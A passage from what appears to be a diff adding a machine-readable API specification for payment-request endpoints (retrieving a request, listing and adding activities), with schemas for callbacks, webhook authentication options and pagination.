"https://json-schema.org/draft/2020-12/schema", + "description": "Current status of the payment request in its lifecycle.\n\n**Status Flow:**\n- **RECEIVED**: Initial status when payment request is created\n- **QUEUED**: Payment request is queued for processing\n- **IN_PROGRESS**: Payment is being processed on the device\n- **COMPLETED**: Payment successfully processed and transactions created\n- **FAILED**: Payment failed due to error or customer cancellation\n", + "enum": [ + "RECEIVED", + "QUEUED", + "IN_PROGRESS", + "FAILED", + "COMPLETED" + ], + "title": "Payment Request Status", + "type": "string" + }, + "type": "array" + }, + "payloadConfig": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/callback-payload-configuration.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Configuration for callback payload content. Allows clients to specify exactly which fields to include in callback notifications.\n\nSupports both real PaymentRequest fields and virtual fields:\n- Real fields: Actual properties from the PaymentRequest schema\n- Virtual fields: Computed/expanded fields (currently only 'transactions' is supported)\n\nVirtual Field Details:\n- 'transactions': Expands transactionIds to include full transaction objects\n - Uses legacyMode to determine schema version (v1 when true, v2 when false)\n - Adds a 'transactions' array alongside the existing 'transactionIds' array\n", + "examples": [ + { + "includeFields": [ + "paymentRequestId", + "type", + "amount" + ], + "legacyMode": false + }, + { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "storeId", + "transactionIds", + "activities" + ], + "legacyMode": false + }, + { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "storeId", + "transactionIds", + "transactions", + "activities" + ], + "legacyMode": false + }, + { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "transactions" + ], + "legacyMode": true + } + ], + "properties": { + "includeFields": { + "description": "Array of field names to include in callback payload.\n\nReal Fields (PaymentRequest properties):\n- paymentRequestId, type, transactionRefNum, storeId, deviceId, amount\n- paymentInstructions, notes, references, transactionIds, links, activities\n- createdAt, updatedAt\n\nVirtual Fields (computed/expanded):\n- 'transactions': Expands transactionIds to full transaction objects (only virtual field currently supported)\n", + "items": { + "enum": [ + "paymentRequestId", + "type", + "transactionRefNum", + "storeId", + "deviceId", + "amount", + "paymentInstructions", + "notes", + "references", + "transactionIds", + "links", + "activities", + "createdAt", + "updatedAt", + "transactions" + ], + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "legacyMode": { + "default": false, + "description": "Schema version control for virtual field expansions:\n- true: Use v1 transaction schema for 'transactions' virtual field\n- false: Use v2 transaction schema for 'transactions' virtual field (default)\nOnly affects virtual fields; real PaymentRequest fields are unaffected.\n", + "example": false, + "type": "boolean" + } + }, + "required": [ + "includeFields" + ], + "title": "Callback Payload Configuration", + "type": "object" + }, + "url": { + "description": "HTTPS callback URL where notifications will be sent", + "example": "https://client.example.com/webhooks/payment-requests", + "format": "uri", + "pattern": "^https://", + "type": "string" + } + }, + "required": [ + "url", + "payloadConfig" + ], + "title": "Callback Configuration", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "deviceId": { + "description": "Device identifier for this payment request (UUID or URN format)", + "example": "urn:tid:2cf6f478-e7c6-3378-8cda-74ee60715e13", + "type": "string" + }, + "links": { + "description": "HATEOAS links for related operations", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "notes": { + "description": "Optional notes about the payment request", + "example": "Table 5 - Split payment with card", + "maxLength": 512, + "type": "string" + }, + "originalTransactionId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentInstructions": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "oneOf": [ + { + "maxLength": 256, + "type": "string" + }, + { + "type": "boolean" + }, + { + "type": "number" + } + ] + }, + "description": "Flat key-value pairs with string, boolean, or number values", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "paymentRequestId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "references": { + "description": "External system references for tracking", + "example": [ + { + "additionalLabel": "POS Order", + "type": "order_id", + "value": "ORD-2024-001" + }, + { + "type": "invoice_number", + "value": "INV-456789" + } + ], + "items": { + "$ref": "../transaction-models/v2/schemas/models/TransactionReference.yaml" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/payment-request-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Current status of the payment request in its lifecycle.\n\n**Status Flow:**\n- **RECEIVED**: Initial status when payment request is created\n- **QUEUED**: Payment request is queued for processing\n- **IN_PROGRESS**: Payment is being processed on the device\n- **COMPLETED**: Payment successfully processed and transactions created\n- **FAILED**: Payment failed due to error or customer cancellation\n", + "enum": [ + "RECEIVED", + "QUEUED", + "IN_PROGRESS", + "FAILED", + "COMPLETED" + ], + "title": "Payment Request Status", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "transactionIds": { + "description": "Transaction IDs created from this payment request (populated after processing)", + "example": [ + "11111111-2222-3333-4444-555555555555" + ], + "items": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "readOnly": true, + "type": "array" + }, + "transactionRefNum": { + "description": "Optional merchant reference number for tracking (UUID format)", + "example": "a1b2c3d4-e5f6-4789-9abc-def123456789", + "format": "uuid", + "type": "string" + }, + "type": { + "description": "Type of payment request indicating the transaction operation (AUTHORIZE, SALE, REFUND, etc.)", + "example": "SALE", + "type": "string" + }, + "updatedAt": { + "description": "Updated time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "createdAt" + ], + "title": "Payment Request", + "type": "object" + } + } + }, + "scopes": [ + "commerce.payment-request:write" + ] + }, + { + "operationId": "getPaymentRequestById", + "method": "GET", + "path": "/stores/{storeId}/payment-requests/{paymentRequestId}", + "summary": "Get payment request by ID", + "description": "Retrieve complete information for a single payment request including:\n- Payment request details and current status\n- Amount information\n- Associated transaction IDs\n- Device and store information\n- References and metadata\n", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Unique identifier for the store", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "paymentRequestId", + "in": "path", + "required": true, + "description": "Unique identifier for the payment request", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Unique request identifier for idempotency and tracing. Used to prevent duplicate payment requests.", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "403": { + "description": "Forbidden - Insufficient permissions", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "401": { + "description": "Unauthorized - Invalid authentication credentials", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "429": { + "description": "Too Many Requests - Rate limit exceeded", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "default": { + "description": "Error response", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "500": { + "description": "Internal Server Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "400": { + "description": "Bad Request - Invalid input data", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "200": { + "description": "Payment request retrieved successfully", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment-request.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A Payment Request represents an intent to process a payment transaction. It contains all the necessary \ninformation to initiate payment processing on a device and track the payment lifecycle from creation \nthrough completion.\n\n**Lifecycle Overview:**\n1. Created with initial status (RECEIVED/QUEUED)\n2. Sent to device for customer interaction\n3. Customer completes payment flow on device\n4. Transaction(s) created and associated with payment request\n5. Final status reached (COMPLETED/FAILED)\n\n**Key Concepts:**\n- **Async Processing**: Payment requests are processed asynchronously with status updates via callbacks\n- **Device Integration**: Payment requests are sent to physical payment devices (terminals, tablets, etc.)\n- **Activity Tracking**: All interactions and events are logged in the activities array\n- **Transaction Association**: Completed payments generate transaction records linked via transactionIds\n\n**Integration Patterns:**\n- Use callbacks for real-time status updates during async processing\n- Poll the GET endpoint if callbacks are not configured\n- Monitor activities array for detailed payment flow tracking\n- Handle race conditions gracefully (payment may complete while processing other operations)\n", + "properties": { + "activities": { + "description": "Chronological log of all activities and events for this payment request", + "example": [ + { + "data": { + "deviceId": "terminal-123" + }, + "timestamp": "2024-01-15T10:30:00Z", + "type": "PAYMENT_REQUEST_RECEIVED" + }, + { + "data": { + "tipAmount": 2.5 + }, + "timestamp": "2024-01-15T10:31:15Z", + "type": "CUSTOMER_ENTERED_TIP" + } + ], + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/activity.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Activity record for a payment request", + "properties": { + "data": { + "additionalProperties": true, + "description": "Additional context data for the activity", + "example": { + "deviceId": "dev789", + "transactionId": "txn456", + "userId": "user123" + }, + "type": "object" + }, + "timestamp": { + "description": "Timestamp when the activity occurred in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "type": { + "description": "Type of activity performed on the payment request", + "example": "CREATED", + "type": "string" + } + }, + "required": [ + "type", + "timestamp" + ], + "title": "Payment Request Activity", + "type": "object" + }, + "readOnly": true, + "type": "array" + }, + "amount": { + "$ref": "../transaction-models/v2/schemas/models/Amount.yaml", + "description": "Payment amount with currency information" + }, + "callbackConfig": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/callback-configuration.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Complete configuration for async API callbacks. Defines where to send notifications, \nhow to authenticate, what data to include, and which events to trigger callbacks.\n\nNote: Retry policy is handled at the system level with standard exponential backoff.\n", + "examples": [ + { + "authentication": { + "secret": "your-shared-secret-key", + "type": "hmac" + }, + "events": [ + "RECEIVED", + "COMPLETED", + "FAILED" + ], + "payloadConfig": { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "storeId", + "transactions" + ], + "legacyMode": false + }, + "url": "https://client.example.com/webhooks/payment-requests" + }, + { + "events": [ + "COMPLETED" + ], + "payloadConfig": { + "includeFields": [ + "paymentRequestId", + "type", + "amount" + ], + "legacyMode": false + }, + "url": "https://dev-client.example.com/webhooks" + }, + { + "authentication": { + "token": "legacy-bearer-token-12345", + "type": "bearer" + }, + "events": [ + "COMPLETED", + "FAILED" + ], + "payloadConfig": { + "includeFields": [ + "paymentRequestId", + "type", + "transactionIds", + "transactions" + ], + "legacyMode": true + }, + "url": "https://legacy-client.example.com/callbacks" + } + ], + "properties": { + "authentication": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/callback-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Authentication configuration for callback endpoints. Supports multiple authentication methods for secure callback delivery.\n\nRecommended method: HMAC for production environments as it provides cryptographic proof of authenticity and prevents tampering.\n", + "discriminator": { + "mapping": { + "apikey": "./APIKeyAuthentication.yaml", + "bearer": "./BearerTokenAuthentication.yaml", + "hmac": "./HMACAuthentication.yaml", + "none": "./NoAuthentication.yaml" + }, + "propertyName": "type" + }, + "examples": [ + { + "type": "hmac", + "value": "your-shared-secret-key" + }, + { + "type": "bearer", + "value": "sample-jwt" + }, + { + "type": "apikey", + "value": "client-api-key-12345" + }, + { + "headerName": "X-Client-API-Key", + "type": "apikey", + "value": "client-api-key-12345" + }, + { + "type": "none" + } + ], + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/hmac-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HMAC authentication using shared secret for payload signing", + "properties": { + "type": { + "const": "hmac", + "description": "Authentication method for callback requests", + "type": "string" + }, + "value": { + "description": "Shared secret key for payload signing.\n\nWhen using HMAC, the service sends fixed standard headers:\n- X-Signature: HMAC signature of the payload\n- X-Timestamp: Unix timestamp when request was sent\n- X-Request-Id: Unique request identifier for tracing\n", + "example": "your-shared-secret-key", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "HMAC Authentication", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/bearer-token-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Bearer token authentication using Authorization header", + "properties": { + "type": { + "const": "bearer", + "description": "Authentication method for callback requests", + "type": "string" + }, + "value": { + "description": "Bearer token for Authorization header", + "example": "sample-jwt", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "Bearer Token Authentication", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/apikey-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "API key authentication using custom or default header", + "properties": { + "headerName": { + "default": "X-API-Key", + "description": "Custom header name for API key authentication.\nDefaults to 'X-API-Key' if not specified.\n", + "example": "X-Custom-API-Key", + "type": "string" + }, + "type": { + "const": "apikey", + "description": "Authentication method for callback requests", + "type": "string" + }, + "value": { + "description": "API key value for custom header", + "example": "client-api-key-12345", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "API Key Authentication", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment-request/no-authentication.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "No authentication (development only)", + "properties": { + "type": { + "const": "none", + "description": "Authentication method for callback requests", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "No Authentication", + "type": "object" + } + ], + "title": "Callback Authentication" + }, + "events": { + "description": "Array of payment request status values that should trigger callback notifications.\nEvents correspond to PaymentRequestStatus transitions.\n\nAvailable Events (from PaymentRequestStatus):\n- RECEIVED: When payment request is initially received\n- QUEUED: When payment request is queued for processing\n- IN_PROGRESS: When payment request processing begins\n- COMPLETED: When payment request processing is successfully completed\n- FAILED: When payment request processing fails\n", + "example": [ + "RECEIVED", + "COMPLETED", + "FAILED" + ], + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/payment-request-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Current status of the payment request in its lifecycle.\n\n**Status Flow:**\n- **RECEIVED**: Initial status when payment request is created\n- **QUEUED**: Payment request is queued for processing\n- **IN_PROGRESS**: Payment is being processed on the device\n- **COMPLETED**: Payment successfully processed and transactions created\n- **FAILED**: Payment failed due to error or customer cancellation\n", + "enum": [ + "RECEIVED", + "QUEUED", + "IN_PROGRESS", + "FAILED", + "COMPLETED" + ], + "title": "Payment Request Status", + "type": "string" + }, + "type": "array" + }, + "payloadConfig": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/callback-payload-configuration.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Configuration for callback payload content. Allows clients to specify exactly which fields to include in callback notifications.\n\nSupports both real PaymentRequest fields and virtual fields:\n- Real fields: Actual properties from the PaymentRequest schema\n- Virtual fields: Computed/expanded fields (currently only 'transactions' is supported)\n\nVirtual Field Details:\n- 'transactions': Expands transactionIds to include full transaction objects\n - Uses legacyMode to determine schema version (v1 when true, v2 when false)\n - Adds a 'transactions' array alongside the existing 'transactionIds' array\n", + "examples": [ + { + "includeFields": [ + "paymentRequestId", + "type", + "amount" + ], + "legacyMode": false + }, + { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "storeId", + "transactionIds", + "activities" + ], + "legacyMode": false + }, + { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "storeId", + "transactionIds", + "transactions", + "activities" + ], + "legacyMode": false + }, + { + "includeFields": [ + "paymentRequestId", + "type", + "amount", + "transactions" + ], + "legacyMode": true + } + ], + "properties": { + "includeFields": { + "description": "Array of field names to include in callback payload.\n\nReal Fields (PaymentRequest properties):\n- paymentRequestId, type, transactionRefNum, storeId, deviceId, amount\n- paymentInstructions, notes, references, transactionIds, links, activities\n- createdAt, updatedAt\n\nVirtual Fields (computed/expanded):\n- 'transactions': Expands transactionIds to full transaction objects (only virtual field currently supported)\n", + "items": { + "enum": [ + "paymentRequestId", + "type", + "transactionRefNum", + "storeId", + "deviceId", + "amount", + "paymentInstructions", + "notes", + "references", + "transactionIds", + "links", + "activities", + "createdAt", + "updatedAt", + "transactions" + ], + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "legacyMode": { + "default": false, + "description": "Schema version control for virtual field expansions:\n- true: Use v1 transaction schema for 'transactions' virtual field\n- false: Use v2 transaction schema for 'transactions' virtual field (default)\nOnly affects virtual fields; real PaymentRequest fields are unaffected.\n", + "example": false, + "type": "boolean" + } + }, + "required": [ + "includeFields" + ], + "title": "Callback Payload Configuration", + "type": "object" + }, + "url": { + "description": "HTTPS callback URL where notifications will be sent", + "example": "https://client.example.com/webhooks/payment-requests", + "format": "uri", + "pattern": "^https://", + "type": "string" + } + }, + "required": [ + "url", + "payloadConfig" + ], + "title": "Callback Configuration", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "deviceId": { + "description": "Device identifier for this payment request (UUID or URN format)", + "example": "urn:tid:2cf6f478-e7c6-3378-8cda-74ee60715e13", + "type": "string" + }, + "links": { + "description": "HATEOAS links for related operations", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "notes": { + "description": "Optional notes about the payment request", + "example": "Table 5 - Split payment with card", + "maxLength": 512, + "type": "string" + }, + "originalTransactionId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentInstructions": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "oneOf": [ + { + "maxLength": 256, + "type": "string" + }, + { + "type": "boolean" + }, + { + "type": "number" + } + ] + }, + "description": "Flat key-value pairs with string, boolean, or number values", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "paymentRequestId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "references": { + "description": "External system references for tracking", + "example": [ + { + "additionalLabel": "POS Order", + "type": "order_id", + "value": "ORD-2024-001" + }, + { + "type": "invoice_number", + "value": "INV-456789" + } + ], + "items": { + "$ref": "../transaction-models/v2/schemas/models/TransactionReference.yaml" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/payment-request-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Current status of the payment request in its lifecycle.\n\n**Status Flow:**\n- **RECEIVED**: Initial status when payment request is created\n- **QUEUED**: Payment request is queued for processing\n- **IN_PROGRESS**: Payment is being processed on the device\n- **COMPLETED**: Payment successfully processed and transactions created\n- **FAILED**: Payment failed due to error or customer cancellation\n", + "enum": [ + "RECEIVED", + "QUEUED", + "IN_PROGRESS", + "FAILED", + "COMPLETED" + ], + "title": "Payment Request Status", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "transactionIds": { + "description": "Transaction IDs created from this payment request (populated after processing)", + "example": [ + "11111111-2222-3333-4444-555555555555" + ], + "items": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "readOnly": true, + "type": "array" + }, + "transactionRefNum": { + "description": "Optional merchant reference number for tracking (UUID format)", + "example": "a1b2c3d4-e5f6-4789-9abc-def123456789", + "format": "uuid", + "type": "string" + }, + "type": { + "description": "Type of payment request indicating the transaction operation (AUTHORIZE, SALE, REFUND, etc.)", + "example": "SALE", + "type": "string" + }, + "updatedAt": { + "description": "Updated time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "createdAt" + ], + "title": "Payment Request", + "type": "object" + } + }, + "404": { + "description": "Not Found - Resource does not exist", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.payment-request:read" + ] + }, + { + "operationId": "getPaymentRequestActivities", + "method": "GET", + "path": "/stores/{storeId}/payment-requests/{paymentRequestId}/activities", + "summary": "Get all activities for a payment request", + "description": "Retrieve all activities for a specific payment request in chronological order.\n\n**Use Cases:**\n- View complete payment flow history\n- Debug payment processing issues\n- Audit customer interactions and device events\n- Analyze payment request lifecycle and timing\n\n**Filtering Options:**\n- Filter by activity type(s) to focus on specific events\n- Filter by time range to analyze specific periods\n- Use pagination for large activity logs\n\n**Response Details:**\n- Activities are returned in chronological order (oldest first)\n- Each activity includes type, timestamp, and optional data\n- Pagination is supported for large result sets\n\n**Note:** Activities are immutable - this endpoint is read-only.\n", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Unique identifier for the store", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "paymentRequestId", + "in": "path", + "required": true, + "description": "Unique identifier for the payment request", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Unique request identifier for idempotency and tracing. Used to prevent duplicate payment requests.", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "description": "Page number (1-indexed)", + "schema": { + "default": 1, + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "description": "Number of items per page", + "schema": { + "default": 10, + "maximum": 100, + "minimum": 1, + "type": "integer" + } + }, + { + "name": "activityType", + "in": "query", + "required": false, + "description": "Filter by activity type", + "schema": { + "items": { + "type": "string" + }, + "type": "array" + } + }, + { + "name": "startTime", + "in": "query", + "required": false, + "description": "Filter activities after this time (ISO 8601 format)", + "schema": { + "format": "date-time", + "type": "string" + } + }, + { + "name": "endTime", + "in": "query", + "required": false, + "description": "Filter activities before this time (ISO 8601 format)", + "schema": { + "format": "date-time", + "type": "string" + } + } + ], + "responses": { + "404": { + "description": "Not Found - Resource does not exist", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "401": { + "description": "Unauthorized - Invalid authentication credentials", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "default": { + "description": "Error response", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "500": { + "description": "Internal Server Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "429": { + "description": "Too Many Requests - Rate limit exceeded", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "400": { + "description": "Bad Request - Invalid input data", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "200": { + "description": "Payment request activities retrieved successfully", + "schema": { + "allOf": [ + { + "properties": { + "currentPage": { + "description": "Current page number", + "type": "integer" + }, + "links": { + "items": { + "$ref": "./common-types/v1/schemas/yaml/link-description.yaml" + }, + "type": "array" + }, + "pageSize": { + "description": "Number of items per page", + "type": "integer" + }, + "pageToken": { + "description": "Token for retrieving the next page of results. Use this value in the pageToken query parameter for the next request.", + "type": "string" + } + }, + "type": "object" + } + ], + "properties": { + "items": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/activity.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Activity record for a payment request", + "properties": { + "data": { + "additionalProperties": true, + "description": "Additional context data for the activity", + "example": { + "deviceId": "dev789", + "transactionId": "txn456", + "userId": "user123" + }, + "type": "object" + }, + "timestamp": { + "description": "Timestamp when the activity occurred in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "type": { + "description": "Type of activity performed on the payment request", + "example": "CREATED", + "type": "string" + } + }, + "required": [ + "type", + "timestamp" + ], + "title": "Payment Request Activity", + "type": "object" + }, + "type": "array" + } + }, + "title": "PaymentRequestActivities" + } + }, + "403": { + "description": "Forbidden - Insufficient permissions", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.payment-request:read" + ] + }, + { + "operationId": "addPaymentRequestActivity", + "method": "POST", + "path": "/stores/{storeId}/payment-requests/{paymentRequestId}/activities", + "summary": "Add activity to payment request", + "description": "Add a new activity entry to a payment request for tracking customer and device interactions.\n\n**Common Use Cases:**\n- Device events: \"PAYMENT_REQUEST_RECEIVED\", \"PAYMENT_POPUP_DISPLAYED\", \"CARD_READER_ACTIVATED\"\n- Customer interactions: \"CUSTOMER_ENTERED_TIP\", \"PIN_ENTRY_STARTED\", \"SIGNATURE_REQUESTED\"\n- Transaction flow: \"CUSTOMER_APPROVED_AMOUNT\", \"CUSTOMER_CANCELLED_TRANSACTION\", \"PAYMENT_METHOD_SELECTED\"\n- Processing events: \"SENT_TO_PROCESSOR\", \"AUTHORIZATION_RECEIVED\", \"RECEIPT_PRINTED\"\n\n**Required Properties:**\n- `type` - Activity type identifier (e.g., \"CUSTOMER_ENTERED_TIP\")\n- `timestamp` - When the activity occurred (ISO 8601 format)\n\n**Optional Properties:**\n- `data` - Additional context data (e.g., tip amount, card type, error details)\n\n**Notes:**\n- Activities are append-only and cannot be modified once created\n- Use the actual occurrence time, not when you're logging the activity\n- Maintain consistent activity type naming across your integration\n", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Unique identifier for the store", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "paymentRequestId", + "in": "path", + "required": true, + "description": "Unique identifier for the payment request", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "X-Request-Id", + 